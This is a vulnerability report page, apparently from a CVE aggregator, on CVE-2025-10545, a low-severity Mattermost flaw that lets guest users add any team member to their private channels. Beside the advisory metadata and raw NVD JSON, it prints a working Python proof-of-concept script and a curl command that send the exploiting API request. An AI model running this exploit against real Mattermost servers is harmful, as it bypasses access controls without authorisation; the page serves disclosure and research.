Security Vulnerability Report
中文
CVE-2025-10545 CVSS 3.1 LOW

CVE-2025-10545

Published: 2025-10-16 09:15:33
Last Modified: 2025-10-21 18:02:52

Description

Mattermost versions 10.5.x <= 10.5.10, 10.11.x <= 10.11.2 fail to properly validate guest user permissions when adding channel members which allows guest users to add any team members to their private channels via the `/api/v4/channels/{channel_id}/members` endpoint

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 10.5.x <= 10.5.10
Mattermost 10.11.x <= 10.11.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-10545 - Mattermost Guest User Permission Bypass PoC This PoC demonstrates how a guest user can add arbitrary team members to their private channels via the /api/v4/channels/{channel_id}/members endpoint. """ import requests import json # Configuration MATTERMOST_URL = "https://your-mattermost-instance.com" GUEST_USER_TOKEN = "your-guest-user-auth-token" # Guest user authentication token PRIVATE_CHANNEL_ID = "your-private-channel-id" # Channel where guest user is a member TARGET_USER_ID = "target-team-member-user-id" # User to be added to the channel # API endpoint endpoint = f"{MATTERMOST_URL}/api/v4/channels/{PRIVATE_CHANNEL_ID}/members" # Request headers headers = { "Authorization": f"Bearer {GUEST_USER_TOKEN}", "Content-Type": "application/json" } # Request payload - specifying the user to add payload = { "user_id": TARGET_USER_ID } # Send the exploit request response = requests.post(endpoint, headers=headers, json=payload) # Check response if response.status_code == 201: print(f"[SUCCESS] User {TARGET_USER_ID} has been added to channel {PRIVATE_CHANNEL_ID}") print(f"Response: {response.json()}") elif response.status_code == 200: print(f"[SUCCESS] User {TARGET_USER_ID} added to channel {PRIVATE_CHANNEL_ID}") print(f"Response: {response.json()}") else: print(f"[FAILED] Status code: {response.status_code}") print(f"Response: {response.text}") # Alternative: Using curl # curl -X POST \ # 'https://your-mattermost-instance.com/api/v4/channels/{channel_id}/members' \ # -H 'Authorization: Bearer {guest_user_token}' \ # -H 'Content-Type: application/json' \ # -d '{"user_id": "target_user_id"}'

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10545", "sourceIdentifier": "[email protected]", "published": "2025-10-16T09:15:33.137", "lastModified": "2025-10-21T18:02:51.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.5.x <= 10.5.10, 10.11.x <= 10.11.2 fail to properly validate guest user permissions when adding channel members which allows guest users to add any team members to their private channels via the `/api/v4/channels/{channel_id}/members` endpoint"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.11", "matchCriteriaId": "9A7F5FBF-4910-4376-96DF-0549BA5259AE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.3", "matchCriteriaId": "D4B91178-97CA-4799-A853-685F04C33F9E"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}